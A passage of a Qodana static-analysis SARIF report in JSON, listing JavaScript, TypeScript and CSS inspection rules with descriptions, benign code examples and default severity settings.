"enabled": false, "level": "note", "parameters": { "suppressToolId": "JSXNamespaceValidation", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Imports and dependencies", "index": 42, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUnresolvedLibraryURL", "shortDescription": { "text": "Missed locally stored library for HTTP link" }, "fullDescription": { "text": "Reports a URL of an external JavaScript library that is not associated with any locally stored file. Suggests downloading the library. Such association enables the IDE to provide proper code completion and navigation.", "markdown": "Reports a URL of an external JavaScript library that is not associated with any locally stored file. Suggests downloading the library. Such association enables the IDE to provide proper code completion and navigation." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSUnresolvedLibraryURL", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6PreferShortImport", "shortDescription": { "text": "Import can be shortened" }, "fullDescription": { "text": "Reports an ES6 import whose 'from' part can be shortened. Suggests importing the parent directory.", "markdown": "Reports an ES6 import whose `from` part can be shortened. Suggests importing the parent directory." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ES6PreferShortImport", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "PointlessBitwiseExpressionJS", "shortDescription": { "text": "Bitwise expression can be simplified" }, "fullDescription": { "text": "Reports an expression that includes 'and' with zero, 'or' by zero, or shifting by zero. Such expressions may result from not fully completed automated refactorings.", "markdown": "Reports an expression that includes `and` with zero, `or` by zero, or shifting by zero. Such expressions may result from not fully completed automated refactorings." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "PointlessBitwiseExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Bitwise operation issues", "index": 17, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "InfiniteLoopJS", "shortDescription": { "text": "Infinite loop statement" }, "fullDescription": { "text": "Reports a 'for', 'while', or 'do' statement which can only exit by throwing an exception. Such statements often indicate coding errors.", "markdown": "Reports a `for`, `while`, or `do` statement which can only exit by throwing an exception. Such statements often indicate coding errors." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "InfiniteLoopJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSStringConcatenationToES6Template", "shortDescription": { "text": "String concatenation is used instead of template literal" }, "fullDescription": { "text": "Reports a string concatenation. Suggests replacing it with a template literal Example '\"result: \" + a + \".\"' After applying the quick-fix the code looks as follows: '`result: ${a}.`'", "markdown": "Reports a string concatenation. Suggests replacing it with a [template literal](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)\n\nExample\n\n \"result: \" + a + \".\" \n\nAfter applying the quick-fix the code looks as follows:\n\n `result: ${a}.` \n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSStringConcatenationToES6Template", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSArrowFunctionBracesCanBeRemoved", "shortDescription": { "text": "Redundant braces around arrow function body" }, "fullDescription": { "text": "Reports an arrow function whose body only consists of braces and exactly one statement. Suggests converting to concise syntax without braces. 'let incrementer = (x) => {return x + 1};' After the quick-fix is applied, the code fragment looks as follows: 'let incrementer = (x) => x + 1;'", "markdown": "Reports an arrow function whose body only consists of braces and exactly one statement. Suggests converting to concise syntax without braces.\n\n\n let incrementer = (x) => {return x + 1};\n\nAfter the quick-fix is applied, the code fragment looks as follows:\n\n\n let incrementer = (x) => x + 1;\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSArrowFunctionBracesCanBeRemoved", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ReplaceAssignmentWithOperatorAssignmentJS", "shortDescription": { "text": "Assignment could be replaced with operator assignment" }, "fullDescription": { "text": "Reports an assignment operation that can be replaced by an operator assignment to make your code shorter and probably clearer. Example: 'x = x + 3;'\n 'x = x / 3;'\n After the quick fix is applied the result looks like: 'x += 3;'\n 'x /= 3;'", "markdown": "Reports an assignment operation that can be replaced by an operator assignment to make your code shorter and probably clearer.\n\n\nExample:\n\n x = x + 3;\n x = x / 3;\n\nAfter the quick fix is applied the result looks like:\n\n x += 3;\n x /= 3;\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "AssignmentReplaceableWithOperatorAssignmentJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Assignment issues", "index": 34, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSFileReferences", "shortDescription": { "text": "Unresolved file reference" }, "fullDescription": { "text": "Reports an unresolved file reference in a JavaScript file, including CommonJS and AMD modules references.", "markdown": "Reports an unresolved file reference in a JavaScript file, including CommonJS and AMD modules references." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSFileReferences", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Stylelint", "shortDescription": { "text": "Stylelint" }, "fullDescription": { "text": "Reports a discrepancy detected by the Stylelint linter. The highlighting is based on the rule severity specified in the Stylelint configuration file for each individual rule.", "markdown": "Reports a discrepancy detected by the [Stylelint](http://stylelint.io) linter. \n\nThe highlighting is based on the rule severity specified in the [Stylelint configuration file](https://stylelint.io/user-guide/configure) for each individual rule." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "Stylelint", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Code quality tools", "index": 56, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FunctionWithInconsistentReturnsJS", "shortDescription": { "text": "Function with inconsistent returns" }, "fullDescription": { "text": "Reports a function that returns a value in some cases while in other cases no value is returned. This usually indicates an error. Example: 'function foo() {\n if (true)\n return 3;\n return;\n}'", "markdown": "Reports a function that returns a value in some cases while in other cases no value is returned. This usually indicates an error.\n\nExample:\n\n\n function foo() {\n if (true)\n return 3;\n return;\n }\n\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionWithInconsistentReturnsJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "EmptyTryBlockJS", "shortDescription": { "text": "Empty 'try' block" }, "fullDescription": { "text": "Reports an empty 'try' block, which usually indicates an error.", "markdown": "Reports an empty `try` block, which usually indicates an error." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "EmptyTryBlockJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ClassMemberInitializationOrder", "shortDescription": { "text": "Use of possibly unassigned property in a static initializer" }, "fullDescription": { "text": "Reports a class member initializer which references another non-hoisted class member while the latter may be not initialized yet. Initialization of class members happens consequently for fields, so a field cannot reference another field that is declared later.", "markdown": "Reports a class member initializer which references another non-hoisted class member while the latter may be not initialized yet. \n\nInitialization of class members happens consequently for fields, so a field cannot reference another field that is declared later." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ES6ClassMemberInitializationOrder", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ReservedWordUsedAsNameJS", "shortDescription": { "text": "Reserved word used as name" }, "fullDescription": { "text": "Reports a JavaScript reserved word used as a name. The JavaScript specification reserves a number of words which are currently not used as keywords. Using those words as identifiers may result in broken code if later versions of JavaScript start using them as keywords.", "markdown": "Reports a JavaScript reserved word used as a name. The JavaScript specification reserves a number of words which are currently not used as keywords. Using those words as identifiers may result in broken code if later versions of JavaScript start using them as keywords." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ReservedWordAsName", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSClassNamingConvention", "shortDescription": { "text": "Class naming convention" }, "fullDescription": { "text": "Reports a class or a function that is annotated with a JSDoc '@constructor' or '@class' tag whose names are too short, too long, or do not follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression expected for classes names. Use the standard 'java.util.regex' format for regular expressions.", "markdown": "Reports a class or a function that is annotated with a JSDoc `@constructor` or `@class` tag whose names are too short, too long, or do not follow the specified regular expression pattern.\n\n\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\nexpected for classes names. Use the standard `java.util.regex` format for regular expressions." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSClassNamingConvention", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Naming conventions", "index": 46, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptValidateJSTypes", "shortDescription": { "text": "Type mismatch in 'any' type" }, "fullDescription": { "text": "Reports a function call with a parameter, return value, or assigned expression or incorrect type, if the context symbol can be implicitly resolved to the 'any' type. declare var test: any;\ntest.hasOwnProperty(true); //reports 'true'", "markdown": "Reports a function call with a parameter, return value, or assigned expression or incorrect type, if the context symbol can be implicitly resolved to the `any` type.\n\n```\ndeclare var test: any;\ntest.hasOwnProperty(true); //reports 'true'\n```" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptValidateJSTypes", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NestedFunctionJS", "shortDescription": { "text": "Nested function" }, "fullDescription": { "text": "Reports a function nested inside another function. Although JavaScript allows functions to be nested, such constructs may be confusing. Use the checkbox below to ignore anonymous nested functions.", "markdown": "Reports a function nested inside another function. Although JavaScript allows functions to be nested, such constructs may be confusing.\n\n\nUse the checkbox below to ignore anonymous nested functions." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NestedFunctionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XHTMLIncompatabilitiesJS", "shortDescription": { "text": "Incompatible XHTML usages" }, "fullDescription": { "text": "Reports common JavaScript DOM patterns which may present problems with XHTML documents. In particular, the patterns detected will behave completely differently depending on whether the document is loaded as XML or HTML. This can result in subtle bugs where script behaviour is dependent on the MIME-type of the document, rather than its content. Patterns detected include document.body, document.images, document.applets, document.links, document.forms, and document.anchors.", "markdown": "Reports common JavaScript DOM patterns which may present problems with XHTML documents. In particular, the patterns detected will behave completely differently depending on whether the document is loaded as XML or HTML. This can result in subtle bugs where script behaviour is dependent on the MIME-type of the document, rather than its content. Patterns detected include **document.body** , **document.images** , **document.applets** , **document.links** , **document.forms** , and **document.anchors**." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "XHTMLIncompatabilitiesJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/DOM issues", "index": 48, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "IncrementDecrementResultUsedJS", "shortDescription": { "text": "Result of increment or decrement used" }, "fullDescription": { "text": "Reports an increment ('++') or decrement ('--') expression where the result of the assignment is used in a containing expression. Such assignments can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways. Example: 'var a = b++'", "markdown": "Reports an increment (`++`) or decrement (`--`) expression where the result of the assignment is used in a containing expression. Such assignments can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways. Example: `var a = b++`" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "IncrementDecrementResultUsedJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "SuspiciousTypeOfGuard", "shortDescription": { "text": "Unsound type guard check" }, "fullDescription": { "text": "Reports a 'typeof' or 'instanceof' unsound type guard check. The 'typeof x' type guard can be unsound in one of the following two cases: 'typeof x' never corresponds to the specified value (for example, 'typeof x === 'number'' when 'x' is of the type 'string | boolean') 'typeof x' always corresponds to the specified value (for example, 'typeof x === 'string'' when 'x' is of the type 'string') The 'x instanceof A' type guard can be unsound in one of the following two cases: The type of 'x' is not related to 'A' The type of 'x' is 'A' or a subtype of 'A'", "markdown": "Reports a `typeof` or `instanceof` unsound type guard check. The `typeof x` type guard can be unsound in one of the following two cases:\n\n* `typeof x` never corresponds to the specified value (for example, `typeof x === 'number'` when `x` is of the type 'string \\| boolean')\n* `typeof x` always corresponds to the specified value (for example, `typeof x === 'string'` when `x` is of the type 'string')\n\nThe `x instanceof A` type guard can be unsound in one of the following two cases:\n\n* The type of `x` is not related to `A`\n* The type of `x` is `A` or a subtype of `A`" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "SuspiciousTypeOfGuard", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptJSXUnresolvedComponent", "shortDescription": { "text": "Unresolved JSX component" }, "fullDescription": { "text": "Reports an unresolved reference to a JSX component. Suggests adding an import statement if the referenced component is defined in the project or its dependencies or creating a new component with the specified name. The template for a new component can be modified in Editor | File and Code Templates.", "markdown": "Reports an unresolved reference to a JSX component. Suggests adding an import statement if the referenced component is defined in the project or its dependencies or creating a new component with the specified name.\n\nThe template for a new component can be modified in Editor \\| File and Code Templates." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptJSXUnresolvedComponent", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptFieldCanBeMadeReadonly", "shortDescription": { "text": "Field can be readonly" }, "fullDescription": { "text": "Reports a private field that can be made readonly (for example, if the field is assigned only in the constructor).", "markdown": "Reports a private field that can be made readonly (for example, if the field is assigned only in the constructor)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptFieldCanBeMadeReadonly", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6DestructuringVariablesMerge", "shortDescription": { "text": "Destructuring properties with the same key" }, "fullDescription": { "text": "Reports multiple destructuring properties with identical keys. Suggests merging the properties.", "markdown": "Reports multiple destructuring properties with identical keys. Suggests merging the properties." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6DestructuringVariablesMerge", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "LoopStatementThatDoesntLoopJS", "shortDescription": { "text": "Loop statement that doesn't loop" }, "fullDescription": { "text": "Reports a 'for', 'while', or 'do' statement whose bodies are guaranteed to execute at most once. Normally, this indicates an error.", "markdown": "Reports a `for`, `while`, or `do` statement whose bodies are guaranteed to execute at most once. Normally, this indicates an error." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LoopStatementThatDoesntLoopJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NegatedIfStatementJS", "shortDescription": { "text": "Negated 'if' statement" }, "fullDescription": { "text": "Reports if statements which have an else branch and a negated condition. Flipping the order of the if and else branches will usually increase the clarity of such statements.", "markdown": "Reports **if** statements which have an **else** branch and a negated condition. Flipping the order of the **if** and **else** branches will usually increase the clarity of such statements." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NegatedIfStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSNonASCIINames", "shortDescription": { "text": "Identifiers with non-ASCII symbols" }, "fullDescription": { "text": "Reports a non-ASCII symbol in a name. If the 'Allow only ASCII names' option is selected, reports all names that contain non-ASCII symbols. Otherwise reports all names that contain both ASCII and non-ASCII symbols.", "markdown": "Reports a non-ASCII symbol in a name. \n\nIf the 'Allow only ASCII names' option is selected, reports all names that contain non-ASCII symbols. \nOtherwise reports all names that contain both ASCII and non-ASCII symbols." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSNonASCIINames", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Naming conventions", "index": 46, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptRedundantGenericType", "shortDescription": { "text": "Redundant type arguments" }, "fullDescription": { "text": "Reports a type argument that is equal to the default one and can be removed. Example: 'type Foo = T;\nlet z: Foo;'", "markdown": "Reports a type argument that is equal to the default one and can be removed.\n\n\nExample:\n\n\n type Foo = T;\n let z: Foo;\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptRedundantGenericType", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptUMDGlobal", "shortDescription": { "text": "Referenced UMD global variable" }, "fullDescription": { "text": "Reports a usage of a Universal Module Definition (UMD) global variable if the current file is a module (ECMAScript or CommonJS). Referencing UMD variables without explicit imports can lead to a runtime error if the library isn't included implicitly.", "markdown": "Reports a usage of a Universal Module Definition (UMD) global variable if the current file is a module (ECMAScript or CommonJS). Referencing UMD variables without explicit imports can lead to a runtime error if the library isn't included implicitly." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "TypeScriptUMDGlobal", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnnecessaryReturnJS", "shortDescription": { "text": "Unnecessary 'return' statement" }, "fullDescription": { "text": "Reports an unnecessary 'return' statement, that is, a 'return' statement that returns no value and occurs just before the function would have \"fallen through\" the bottom. These statements may be safely removed.", "markdown": "Reports an unnecessary `return` statement, that is, a `return` statement that returns no value and occurs just before the function would have \"fallen through\" the bottom. These statements may be safely removed." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnnecessaryReturnStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ConditionalExpressionWithIdenticalBranchesJS", "shortDescription": { "text": "Conditional expression with identical branches" }, "fullDescription": { "text": "Reports a ternary conditional expression with identical 'then' and 'else' branches.", "markdown": "Reports a ternary conditional expression with identical `then` and `else` branches." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ConditionalExpressionWithIdenticalBranchesJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSAnnotator", "shortDescription": { "text": "ECMAScript specification is not followed" }, "fullDescription": { "text": "Reports basic syntax issues and inconsistencies with language specification, such as invalid usages of keywords, usages of incompatible numeric format, or multiple parameters to getters/setters. Generally, such errors must always be reported and shouldn't be disabled. But in some cases, such as issues due to the dynamic nature of JavaScript, the use of not yet supported language features, or bugs in IDE's checker, it may be handy to disable reporting these very basic errors.", "markdown": "Reports basic syntax issues and inconsistencies with language specification, such as invalid usages of keywords, usages of incompatible numeric format, or multiple parameters to getters/setters. \nGenerally, such errors must always be reported and shouldn't be disabled. But in some cases, such as issues due to the dynamic nature of JavaScript, the use of not yet supported language features, or bugs in IDE's checker, it may be handy to disable reporting these very basic errors." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JSAnnotator", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSIncompatibleTypesComparison", "shortDescription": { "text": "Comparison of expressions having incompatible types" }, "fullDescription": { "text": "Reports a comparison with operands of incompatible types or an operand with a type without possible common values.", "markdown": "Reports a comparison with operands of incompatible types or an operand with a type without possible common values." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSIncompatibleTypesComparison", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUnfilteredForInLoop", "shortDescription": { "text": "Unfiltered for..in loop" }, "fullDescription": { "text": "Reports unfiltered 'for-in' loops. The use of this construct results in processing not only own properties of an object but properties from its prototype as well. It may be unexpected in some specific cases, for example, in utility methods that copy or modify all properties or when 'Object''s prototype may be incorrectly modified. For example, the following code will print 42 and myMethod: 'Object.prototype.myMethod = function myMethod() {};\nlet a = { foo: 42 };\nfor (let i in a) {\n console.log(a[i]);\n}' Suggests replacing the whole loop with a 'Object.keys()' method or adding a 'hasOwnProperty()' check. After applying the quick-fix the code looks as follows: 'for (let i in a) {\n if (a.hasOwnProperty(i)) {\n console.log(a[i]);\n }\n}'", "markdown": "Reports unfiltered `for-in` loops. \n\nThe use of this construct results in processing not only own properties of an object but properties from its prototype as well. It may be unexpected in some specific cases, for example, in utility methods that copy or modify all properties or when `Object`'s prototype may be incorrectly modified. For example, the following code will print **42** and **myMethod** : \n\n\n Object.prototype.myMethod = function myMethod() {};\n let a = { foo: 42 };\n for (let i in a) {\n console.log(a[i]);\n }\n\nSuggests replacing the whole loop with a `Object.keys()` method or adding a `hasOwnProperty()` check. After applying the quick-fix the code looks as follows:\n\n\n for (let i in a) {\n if (a.hasOwnProperty(i)) {\n console.log(a[i]);\n }\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSUnfilteredForInLoop", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSLastCommaInObjectLiteral", "shortDescription": { "text": "Unneeded last comma in object literal" }, "fullDescription": { "text": "Reports usages of a trailing comma in object literals. The warning is reported only when the JavaScript language version is set to ECMAScript 5.1. Trailing commas in object literals are allowed by the specification, however, some browsers might throw an error when a trailing comma is used. You can configure formatting options for trailing commas in Code Style | JavaScript or TypeScript | Punctuation.", "markdown": "Reports usages of a trailing comma in object literals.\n\nThe warning is reported only when the JavaScript language version is set to ECMAScript 5.1.\n\nTrailing commas in object literals are allowed by the specification, however, some browsers might throw an error when a trailing comma is used.\n\nYou can configure formatting options for trailing commas in **Code Style** \\| **JavaScript** or **TypeScript** \\| **Punctuation**." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSLastCommaInObjectLiteral", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSFunctionExpressionToArrowFunction", "shortDescription": { "text": "Function expression is used instead of arrow function" }, "fullDescription": { "text": "Reports a function expression. Suggests converting it to an arrow function. Example: 'arr.map(function(el) {return el + 1})' After applying the quick-fix the code looks as follows: 'arr.map(el => el + 1)'", "markdown": "Reports a [function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function) expression. Suggests converting it to an [arrow function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\n\nExample:\n\n arr.map(function(el) {return el + 1})\n\nAfter applying the quick-fix the code looks as follows:\n\n arr.map(el => el + 1)\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSFunctionExpressionToArrowFunction", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6TopLevelAwaitExpression", "shortDescription": { "text": "Top-level 'await' expression" }, "fullDescription": { "text": "Reports a usage of a top-level 'await' expression. While the new 'top-level async' proposal is on its way, using 'await' outside async functions is not allowed.", "markdown": "Reports a usage of a top-level `await` expression. While the new 'top-level async' proposal is on its way, using `await` outside async functions is not allowed." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "ES6TopLevelAwaitExpression", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Async code and promises", "index": 49, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6MissingAwait", "shortDescription": { "text": "Missing await for an async function call" }, "fullDescription": { "text": "Reports an 'async' function call without an expected 'await' prefix inside an 'async' function. Such call returns a 'Promise' and control flow is continued immediately. Example: 'async function bar() { /* ... */ }\nasync function foo() {\n bar(); // bad\n}' After the quick-fix is applied, the 'await' prefix is added: 'async function bar() { /* ... */ }\nasync function foo() {\n await bar(); // good\n}' When the 'Report for promises in return statements' checkbox is selected, also suggests adding 'await' in return statements. While this is generally not necessary, it gives two main benefits. You won't forget to add 'await' when surrounding your code with 'try-catch'. An explicit 'await' helps V8 runtime to provide async stack traces.", "markdown": "Reports an `async` function call without an expected `await` prefix inside an `async` function. Such call returns a `Promise` and control flow is continued immediately.\n\nExample:\n\n\n async function bar() { /* ... */ }\n async function foo() {\n bar(); // bad\n }\n\n\nAfter the quick-fix is applied, the `await` prefix is added:\n\n\n async function bar() { /* ... */ }\n async function foo() {\n await bar(); // good\n }\n\nWhen the 'Report for promises in return statements' checkbox is selected, also suggests adding `await` in return statements. \nWhile this is generally not necessary, it gives two main benefits. \n\n* You won't forget to add `await` when surrounding your code with `try-catch`.\n* An explicit `await` helps V8 runtime to provide [async stack traces](https://bit.ly/v8-zero-cost-async-stack-traces)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6MissingAwait", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Async code and promises", "index": 49, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TailRecursionJS", "shortDescription": { "text": "Tail recursion" }, "fullDescription": { "text": "Reports a tail recursion, that is, when a function calls itself as its last action before returning. A tail recursion can always be replaced by looping, which will be considerably faster. Some JavaScript engines perform this optimization, while others do not. Thus, tail recursive solutions may have considerably different performance characteristics in different environments.", "markdown": "Reports a tail 